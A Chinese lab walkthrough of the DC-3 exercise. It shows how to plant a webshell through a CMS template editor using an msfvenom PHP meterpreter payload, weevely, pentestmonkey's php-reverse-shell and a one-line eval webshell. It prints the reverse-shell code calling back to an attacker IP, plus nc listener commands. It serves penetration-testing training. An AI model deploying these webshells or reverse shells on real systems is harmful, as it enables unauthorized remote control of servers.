在渗透测试过程中,经常需要用到webshell获取网站系统权限。本文以DC-3渗透测试实验为例,总结了以下几种获得webshell的方法。
一、msfvenom制作木马获取反弹shell
(一)开启msf监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.101.75(kali攻击机的IP)
run

(二)制作木马命令
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.101.75 LPORT=4444 -o test
执行后test的内容:
/*<?php /**/ error_reporting(0); $ip = '192.168.101.75'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
(三)上传到DC-3的网站后台
经过测试,不能将test.php木马直接上传,需要使用Extensions--Templates功能。





将前面生成的木马内容复制粘贴进去,点击左上角保存。
(四)访问木马文件路径建立反弹连接
访问路径:http://192.168.101.74/templates/beez3/test.php

返回kali,看到反弹连接已经建立。
剩下的事情都一样了,进入交互式shell,然后提权。
二、weevely制作木马获取shell
(一)制作木马
weevely generate test test1006.php
test1006.php木马文件内容:
(二)上传木马到目标网站
将以上代码复制到目标网站的Extensions-Templates,方法同第一步。
(三)使用weevely获取shell
weevely http://192.168.101.74/templates/beez3/test1006.php test

已获得shell
三、php-reverse-shell.php获取shell
(一)生成木马
cd /usr/share/webshells/php
cp php-reverse-shell.php /tmp
cd /tmp
删除以//开头的注释行
sed -i "/^\/\//d" php-reverse-shell.php
手工再把其他不是以//开头的注释行删除,并且需要将文件中的$ip = '192.168.101.75'; 和$port = 1234;修改成实际环境。
cat php-reverse-shell.php
array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
(二)上传木马到目标网站后台
方法同上
(三)开启监听
在kali上开启监听
nc -lvp 1234
如果没有在kali上开启监听,在访问目标网站木马链接时,会出现如下报错:
WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
(四)访问目标网站木马文件网址
访问网址:http://192.168.101.74/templates/beez3/test2.php
在kali上获得shell

四、一句话木马获取shell
(一)制作一句话木马
<?php @eval($_REQUEST["cmd"]);?>
(二)上传到目标网站
方法同上
(三)使用蚁剑访问
1. 启动中国蚁剑

2. 添加数据


3. 连接虚拟终端


版权归原作者 見贤思齊 所有, 如有侵权,请联系我们删除。